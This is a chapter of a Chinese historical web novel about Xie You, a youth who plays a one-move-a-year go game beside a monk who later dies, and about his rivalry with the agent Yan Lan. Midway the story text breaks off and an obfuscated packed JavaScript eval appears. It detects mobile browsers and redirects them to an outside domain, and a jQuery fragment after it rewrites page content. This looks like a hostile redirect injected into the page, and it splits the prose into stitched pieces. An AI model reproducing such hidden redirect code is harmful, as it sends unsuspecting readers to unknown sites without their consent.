元顺二十年。漫天的大雪把连绵的山脉栾嶂勾勒出工笔画般的色彩,扁平地烙刻在一方蟹壳青的天中。雾雪弥漫,山湖辽阔,湖面冰层厚重,湖心有一亭,一粒黑芝麻般落在正中。
雪白的长堤连通着湖心亭,随着来人的步伐剥落出一点土色。宁山寺的沙弥净行正扛着竹条扫帚,从长堤往湖心清扫过去。
每年此时,净行都来扫雪。宁山寺夹山而建,地势高,来人少,香火淡,但守得一方安宁,独享寒天山色,已是福德造化。净行年方十八岁,自打五岁起便来此处扫雪,已扫了十三年。
今年这时日,他已扫了三天雪,奈何风雪浩大,十里冰封,未曾消减。多裹了两层僧服却并不御寒,握着扫帚的手骨节红肿,生了不少冻疮,挥舞的幅度也越发小,但唯唯诺诺地进行着,最后也算坚持到了长堤的一半。
净行累了,立住扫帚休憩了半晌。
他眯眼眺望,却见长堤一痕的终点,那湖心亭中有个移动的墨点。仔细一看,是个少年。
净行多了丝干劲,快速从长堤扫了过去,默不作声来到湖心亭前。
湖心亭中的少年身形瘦削,披青鸾色鹤氅,青丝用一根玉簪半绾起,正横着双手揣在袄中,侧站在亭中的石桌旁,垂眸看向那处。他的长睫、眉毛、发丝上都沾染着鹅毛雪,正一点点融化。
石桌上,是一盘落了8颗棋子的围棋盘。
棋盘落了雪,黑子也变成白子,混淆不清,部分棋子的位置也被风吹雨打挪了开。少年伸出骨节分明的长指,挪了颗白子,将其挪到一旁不远的格点上,末了又把手放回袄中,静静看着。
净行认得他。
净行放下扫帚走过去,如见故人似的,“今年扫了三天雪,我还以为你不来了呢。”
少年闻声扭过头,那双洁白俊俏的脸上五官还没长开,略带稚气,但他的气质却如弱冠男子一般稳重,喜怒不行于色。
他认出来者,轻轻阖眸,声线轻柔,语气却算不上亲近,“今年雪下得大,来时路上耽搁了。”
“哦...”净行应和道,转了转眼珠子没找到下一句说什么。
少年又静静地端详起棋盘。
净行认得他,是因为他每年都来此处下一步棋。
无人与他对弈,他自己分饰黑子和白子。一年一步,一步一棋,到今年,已足足下了八年。
净行凑到棋盘旁,“今年公子是黑子白子?”
“白子先行,第八回合,便轮到黑子了。”
“哦...”净行点头,“可是我看这每年风大雨大,这棋子早就不在原位了。”
少年笑了声,伸出两指又挪了一颗黑子。
“现在都归位了。”
“为,为什么?”净行问,“难不成你记得?”
少年不回答,兀自撩起鹤氅,坐到石凳上。
这已经是净行与这少年说话最多的一次。以往每年,净行碰到他,都只是打个招呼便罢,毕竟一年只见一次的人能有多熟悉。前几年他只当是个新鲜事,然而后来,净行每年都能见到他,见得多了,净行开始好奇,甚至开始期待。
这怪少年到底为什么这样?他想问,可少年看起来,样貌比他年幼,气质却比他成熟稳重得多,一副生人勿近模样,即使笑面含春,却让人觉得比十里寒冬还冷。
净行没再说话,转身握着扫帚又清扫了起来。
直至冷调的橙红色夕阳斜挂在天边,映得冰封的河面暖融融的时分,净行从寺庙出来透透气,不自觉走到长堤,那少年竟还在那里。
他端坐在石凳,两只修长的指扣住一颗黑子,放在棋盘边缘。青丝与鹤氅皆披着层层细雪,就连那轻颤的羽睫,也盛着细小的雪花冰晶。
看上去,他如石像般一动不动,在那里坐了很久。
净行看不下去,从寺庙里抱了一件新的月衣跑了过去。走到湖心亭边,却又不忍打扰,站在旁边踱步了很久,而此少年却目中无人,毫不受其所扰,也不主动询问。
净行忍不住,终于道,“一颗子要下这么久,不怕冻坏了么?”
少年并没有僵化,他徐徐转过头,微笑道,“落子太快,棋局就结束了。”
“你每年就来下一子,哪有那么快结束?”
少年垂眸看着棋局,“唯有我与我周旋时,方能久些,除此之外,没有其他机会。”
少年说了句摸不着头脑的话,净行想了半天,觉得有些独孤求败的意味,半嘲半打趣道,“难道你还是哪位围棋名手?说的像大家都下不过你似的。”
少年不置可否,只是轻轻一笑。
净行被这一笑镇住,以为他在嘲笑自己,便把怀里的月衣塞给少年,“要是你不介意,我和你下!”
没想到少年双眼微微一怔,随即便抬手示意,“小师傅,请吧。”
净行果真和少年下了盘棋。
奈何这棋局中,最重要的不是输赢,而是过程煎熬难耐。净行第一次感受到恶寒之冬,千山鸟飞绝,在这湖心亭中静坐上半柱香,竟然是那么的冷。他不时抬眸望着对面的少年,看他只披了不算厚的鹤氅,真不知是怎么坚持下来的。
到后来,净行已经分不出多余的心思思考棋局,只浑身哆嗦,很快认了输。
他承认,这少年的棋艺是有那么些东西。
净行站起身,跺掉身上的雪,把给少年的月衣抢回来自己穿了上,不断蹦跶着来升温。而少年在一旁不动声色地又将棋盘还原成了八颗棋的样子,随后思忖半晌,落下了第九颗。
净行看了半天,心道真是个怪人,不过下了一盘棋,他感觉也和少年熟了些,便问,“一年里发生那么多事,你怎么还会记得这盘棋局的原样?”
少年抬眸,“我一年的事情并不多。”
“好吧...”净行嚷嚷,“每年多一子,这你要是下三十年,岂不是要把三十颗棋子烂熟于心。”
“小师傅棋下得不错,难道没有背过棋谱?”
“住持不倡导咱们干这些。”净行道,“我也就会这么点了。”
少年不再说话,而是静静看了看这棋盘,便走向了一边。
湖心亭下的湖水已被冰封,厚厚地看不出原本的翠绿色,唯有白茫茫的一片,与天际相接都看不出分界。
净行也走到少年身旁,“你几岁了?”
少年听到这问题似有讶异,但还是回答,“十有五。”
“那你比我小啊!”净行道,“我已经十八岁了。”
少年并不感兴趣对方的年龄,低头看着湖面。湖面厚冰之下有一物事,模模糊糊看不清,眼神要聚焦很久,才依稀辨认出是两条相伴却被冻住的游鱼。
“诶!你看,那有鱼诶!”净行指着湖,他也看到了这物事。
少年淡淡,“为何是两条......”
“两条?”净行纳闷,“两条怎么了?说不定还有三条四条五条,我们再找找。”他东张西望。
“连鱼都是两条......”
“你说什么?”
少年不再说话,转身,毅然决然离开了湖心亭。
这边净行还在兴高采烈找着鱼,以为和少年多少又有了个话题,却不料一个不注意他就走了。
净行撒腿追上去,心里觉得这人好生冰冷,可转念一想,一个在冰天雪地里坚持下了八年棋的人又能有多热络?
他跑上长堤,追上少年,讪讪道,“你叫什么名字?明年,你还来么?”
少年渐渐停下步子。
“为何这么问?”
净行挠挠脑袋,“没,就是想着,和你也算半个朋友了嘛!虽然...是一年只见一次的那种。”他干笑着。
少年转过身,眼底有些迷惘发怔,看着倒终于有了些符合十五岁年龄的天真,却只是一瞬。
他不悲不喜,“下雪了,我就会来。”
“那好,那明年见!”净行说出这话时,心里倒还有些酸涩。这朋友真是即来即走,明年才能见上一面。
少年“嗯”了声,便走了。
“你还没说你名字呢!我法号净行,你呢?”
少年侧头,飞快扔下了两个字,“谢游。”
·
邶江城的如月客栈里,换了药后,淮驹用剪子剪了纱布,缓缓在谢游肩侧与手掌的伤口处系上一个结。
谢游大马金刀坐在床榻边,眼眸定定看向一处。床榻的正对面正挂着幅山水画,正是浩浩荡荡的一片雪景。
“公子,燕姑娘下手真的太狠了...”淮驹这次说的是掏心窝的话,甚至有些怜爱,“要不,公子你考虑考虑换个人吧,我看燕姑娘她实在是磐石之心,不为所动。”
谢游并不回答,半晌才愣生应道,“嗯,好,我知道了。”
淮驹收起了血布和水盆,摇着头走出了客房。
谢游端坐在床榻边并没动。他侧头,颤着手,抚上肩膀这块刀伤处。血已经止住了,方才淮驹用了些冰块,止血效果奇好,可谢游依稀听到淮驹说伤口深,只是幸好没戳到心口云云,对燕览骂骂咧咧。
血倒是不流了,那股热腾腾的温度也消失了。冰的寒气入体,蔓延在身体里,犹如真的入了那雪景一样。
元顺二十一年,宁山寺一如既往浸在浩浩汤汤的雪中,红瓦朱墙被雪压盖,细长屋檐化作浓郁雾白中的一枝点缀。
同样的时节,风雪飘摇,算上去,宁山寺开始扫雪已有四日。
长堤上,十六岁的谢游比以往更快步地走进了湖心亭。今日他趔趔趄趄,捂着左肩,似受了伤一样摇摆,大风吹进那青鸾色的鹤氅,帆一样鼓起。鹤氅又用了一年,有些生旧,半绾的青丝在风雪中飘动,毫无章法。
他终于落座在石案边。
谢游拢了拢氅衣里边的袍子,似乎无法忽视左肩的疼痛,忍着看向了石桌。牌局一片糟乱,白雪下堆满了枯叶枯果、飞虫尸体、飞尘土粒。
谢游熟稔地清扫了牌桌,再将棋局恢复成了九颗棋子应有的样子。
他唇色发青,只有鼻尖眉骨被冻得通红。他从白子堆里挑出一颗,万籁俱寂包裹着他。再次进入到对局的思忖中,不知过了多久,眼前边眩晕打转,没了意识。
再次醒来时,身旁站着个不认识的沙弥。
沙弥双手握着暖炉,把谢游推醒,既讶异又揶揄道,“原来还活着。”
谢游撑着石桌坐起身,看天色渐晚,孤鹜在青色天空中横飞,自己也已被白雪淹没。他抖落身上的雪,看向沙弥。
他张了张干涩的口,嗓音沙哑,“请问,现在几时?”
沙弥站在一旁不动,冷冷道,“申时快过了。”
“这么久了......”
沙弥清了清嗓子,似是不愿多说,“你快走吧,别晕在我们这,住持说了,寺庙已经接待不起伤客了。”
说罢,这沙弥转身便走了。
“等等!”
谢游猛地叫住他,却因太用力而干咳。
沙弥疑惑地回过头。谢游趔趄起身,筋骨已然僵硬,他捂着左肩,气若游丝,“敢问小师傅,净行可在?”
“净行?”听到这话,沙弥诧异了下。
“净行上半年不慎感染了疫疾,已经死了。”
话毕,沙弥见谢游不再说话,就转身离开了。
直至他沿着长堤径直走完,一粒墨点彻底消失在野色混杂的山路中,谢游才动了动石头一样凝固的身体。
他勾起唇角,想发出的笑声却因沙哑而不显,垂眸看向鞋尖,又看向周围,看向亭顶,眺望远山...视线所及之处通通是万籁俱寂,一片宁静祥和,天光乍泄,湖光山色正是最美时分,天地之间,没有一点声音。
他在那里站了半柱香,最后缓缓放下扶着左肩的右手,双手揣在袄里。
他没再看那棋盘,直直面着长堤,头也不回地,踱步离开了湖心亭。
那年雪真大,比往年都大。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095709|178471||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
......
山景化作笔墨,白雪化作留白,视线从如月客栈墙上那幅千山雪景图收回。
放在肩膀上的手不禁摩挲了半分那伤口。
那天暴雪,他因中伤而晚去了一日,伤的便是同样的位置。冰气止血入体,仿若将他带回那一个冬天。
可十余年已过。
净行的尸骨停留在十九岁初,埋葬在了宁山寺的后山。
千山迟暮,永远都是独行孑孑。
这是他早就明白了无数次的道理,不敢再心存一丝侥幸。
谢游从床榻上起身,走到窗边。思绪从冰雪转到酷暑,楼下街景吵嚷,叫卖声此起彼伏。
他的心没受伤,应该不会疼才对。
可雪好似真的下到了他头上,外边的市井繁华声越盛,便衬得客栈内越寂冷。这时,他想起了燕览。
与她相亲近之时,她的体温是温热的,他的亦是。他不禁想着,即使是在寒冬天,应该也会如此。
没有人如她一样懂过他的棋局。
没有人同他在漫天雪中沉默抵抗冰雪。
即使有,也都纷纷在往日岁月中尽数消逝了......
只留他一人,还扛着千斤重的往日雪,负着无人共享的万物寂,在人生长河中前行。
他募地扣上窗棂,阻绝了外边的繁华吵嚷。
·
邻着如月客栈一条街过去,便是风潇驿。
惰珠推门而入,手中端着茶盘,缓缓将才沏好的茶放在案几。燕览捧着本书,正斜倚在窗边。
“燕姑娘,消息已经通报给范府的人,明日一早便会有人接待我们。”
惰珠放好茶盏,回过头来,燕览呆若木鸡地盯着宝蓝色书册,一声不吭。
“燕姑娘,你看的这是......”惰珠瞧着书名却看不清楚,走近些,把头拧来扭去,“燕姑娘,你怎么反着看书?”
“啊,哦,”燕览回过神,把书转了一圈,又放下,“我拿反了。”她干笑。
惰珠看出她的心不在焉,却不知发生了什么事。
饮茶时分,惰珠旁敲侧击道,“前几年各大佳节,宫中设宴大酺,所用织造大多都是邶江范氏所采办供应,算是颇有头有脸的皇商大家。”惰珠左顾右盼,放低声音,“但溯其宗源,听说范氏的掌家与长公主殿下有宗族之亲,这才会被皇上指派成为皇商。”
燕览指腹摩挲在温润的茶盏边缘,“我有所耳闻。”
“去年中元节,我担差时接触过范氏的大人。看得出他们对长公主殿下仰仗敬畏三分,故对咱们这些小奴婢也敛着架子,不曾颐指气使。”惰珠道,“想来,这次皇上要查皇商的账,若真有问题,能保范氏的也只有咱们殿下了。”
“你想说什么?”燕览问。
惰珠一笑,“我看燕姑娘你心神不宁,想宽慰你,明日去范府拜访,他们的人应当不难对付。”
燕览一怔,霎时觉得惰珠有些可爱。她揉了揉她的脑袋,“多谢。”
惰珠低头害羞地微笑。
燕览收回手撑着脑袋,眼神空洞地用手指敲了敲桌。
她发怔的,根本不是范氏的事儿。
她没来由地问,“惰珠,你说若有一种物事,你既要对抗他,却又......”她没说下去。
“却又怎么?”
燕览咽了咽口水,硬着头皮道,“却又不可控制地有些...迷恋,”她干笑以掩饰,“如此矛盾,世上怎会有这样的事?”
惰珠听闻有些沉默,半晌炮仗一样地炸开,“燕姑娘你不会是——不会是——”
她跳起来,指着燕览,仿佛看穿了一切。
燕览虎躯一震,快掉下椅子,她声线颤抖,心虚,“怎,怎么了,我可没有和他——”
惰珠大喊,“燕姑娘,你不会染上毒散仙丹了吧?”
燕览募地神色一黑。
她叹了口气,无奈地摇摇头,“不是。”
“那就好,”惰珠缓缓坐了下来,“这东西殿下可说了明令禁止的,燕姑娘,你可千万不能越界啊。”
不知惰珠为何会这般联想,燕览扶额苦笑,只听她继续说:
“可若不是毒药,那是什么?既抗拒,又迷恋,这不就是毒药么?”
燕览扭头,嘴里喃喃,“毒药......”
“不是毒药,想必也和毒药一样烈了!燕姑娘,你定要克制啊,面对这种诱惑,咱们还是尽早斩断的好。”惰珠握上燕览的手,关切道。
“有道理......”
如果谢游是她的毒药,那她要做的便是彻底将其毁灭。
燕览嘴角浮上一抹微笑。
“对了,”惰珠道,“燕姑娘,来邶江时你让我查的人,找到了。”
燕览眉头一动。
“和你想的一样,她时常出没在那首辅府幕僚,谢公子的身边。”
穿堂风从风潇驿的窗户中吹进来,拂乱燕览的发丝,桌盏上茶香四溢,惰珠向燕览递去一样东西。
东西被丁香色底百合纹样点缀的绢布包裹着,并不紧实,露出里头物件,好似几叠信笺与小册子。
燕览默默收下,盘算着什么,凑到惰珠耳边耳语。
“我知道了。”惰珠点头。
“还好我们带上了。”燕览胸有成竹地拍了拍绢布里头饱满的物件。
“燕姑娘你想得远,怪不得殿下重用你。”惰珠露出羡艳眼神,悻悻道,“就算你跟我说了,我这厢也猜不透你的用意,真是太笨了。”
燕览微笑示意,又敛了笑容,“另外那首辅幕僚谢公子,干脆你也帮我查查吧。”
“要查什么?”
燕览眯眼,眺望窗外景色,“查他到底姓甚名谁,从哪儿来,家中几口人,要到哪儿去……能查的,都悉数查出来,查个底朝天……这样,总能找到点制敌要害。”
“我就不信,这世上有人没有弱点。”